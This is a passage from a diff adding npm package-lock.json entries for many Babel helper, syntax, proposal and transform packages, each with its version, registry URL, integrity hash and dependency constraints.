"https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz", + "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.9.tgz", + "integrity": "sha512-sZ+QzfauuUEfxSEjKFmi3qDSHgLsTPK/pEpoD/qonZKOtTPTLbf59oabPQ4rKekt9lFcj/hTZaOhWwFYrgjk+Q==", + "dev": true, + "dependencies": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz", + "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.6", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz", + "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/highlight/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.22.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz", + "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-async-generator-functions": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.7.tgz", + "integrity": "sha512-xMbiLsn/8RK7Wq7VeVytytS2L6qE69bXPB10YCmMdDZbKF4okCqY74pI/jJQ/8U0b/F6NrT2+14b8/P9/3AMGA==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-remap-async-to-generator": "^7.18.9", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-static-block": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.21.0.tgz", + "integrity": "sha512-XP5G9MWNUskFuP30IfFSEFB0Z6HzLIUcjYM4bYOPHXl7eiJ9HFv8tWj6TXTN5QODiEhDZAeI4hLok2iHFFV4hw==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-proposal-dynamic-import": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", + "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-export-namespace-from": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz", + "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.9", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-json-strings": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", + "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.20.7.tgz", + "integrity": "sha512-y7C7cZgpMIjWlKE5T7eJwp+tnRYM89HmRvWM5EQuB5BoHEONjmQ8lSNmBUwOyy/GFRsohJED51YBF79hE1djug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", + "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz", + "integrity": "sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.20.5", + "@babel/helper-compilation-targets": "^7.20.7", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.20.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-catch-binding": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", + "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", + "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz", + "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", + "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz", + "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.6.tgz", + "integrity": "sha512-58EgM6nuPNG6Py4Z3zSuu0xWu2VfodiMi72Jt5Kj2FECmaYk1RrTXA45z6KBFsu9tRgwQDwIiY4FXTt+YsSFAQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + 